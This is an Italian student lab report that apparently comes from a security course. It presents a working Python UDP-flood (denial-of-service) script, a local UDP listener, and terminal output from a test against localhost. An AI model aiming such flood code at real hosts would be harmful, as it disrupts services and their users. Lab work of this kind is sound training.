

REPORT S6/L3

Obiettivo: Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

SVOLGIMENTO

Ho creato il file DOSproject.py nel quale ho realizzato il codice per simulare UDP flood.

```
GNU nano 8.1                                DOSproject.py
import socket
import random

def udp_flood():
    print("UDP Flood Simulator")

    target_ip = input("Inserisci l'IP della macchina target: ")

    try:
        target_port = int(input("Inserisci la porta UDP della macchina target: "))
    except ValueError:
        print("La porta deve essere un numero.")

    try:
        packet_count = int(input("Inserisci il numero di pacchetti da inviare: "))
    except ValueError:
        print("Il numero di pacchetti deve essere un numero.")

    packet_data = random.randbytes(1024)

    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
        print(f"Inviando {packet_count} pacchetti da 1 KB a {target_ip}:{target_port}")

        for i in range(packet_count):
            try:
                sock.sendto(packet_data, (target_ip, target_port))
                print(f"Pacchetto {i + 1} inviato.")
            except:
                print(f"Errore durante l'invio del pacchetto {i + 1}")
                break

        print("Invio completato.")

if __name__ == "__main__":
    udp_flood()
```

Successivamente, dopo aver riscontrato problemi con Metasploitable, ho realizzato un server UDP in locale su Kali Linux.

```
GNU nano 8.1 serverUDP.py
import socket

server_ip = '127.0.0.1'
server_port = 12345

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((server_ip, server_port))

print(f"Server UDP in ascolto su {server_ip}:{server_port} ...")

while True:
    data, address = sock.recvfrom(1024)

    if data:
        print("Ricevuto")
    else:
        print("Non ricevuto")
```

Infine ho verificato che il codice funzionasse senza errori.

```
(kali@kali)-[~/Desktop]
$ python DOSproject.py
UDP Flood Simulator
Inserisci l'IP della macchina target: 127.0.0.1
Inserisci la porta UDP della macchina target: 12345
Inserisci il numero di pacchetti da inviare: 10
Inviando 10 pacchetti da 1 KB a 127.0.0.1:12345
Pacchetto 1 inviato.
Pacchetto 2 inviato.
Pacchetto 3 inviato.
Pacchetto 4 inviato.
Pacchetto 5 inviato.
Pacchetto 6 inviato.
Pacchetto 7 inviato.
Pacchetto 8 inviato.
Pacchetto 9 inviato.
Pacchetto 10 inviato.
Invio completato.
```

```
(kali@kali)-[~/Desktop]
$ python serverUDP.py
Server UDP in ascolto su 127.0.0.1:12345 ...
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
Ricevuto
```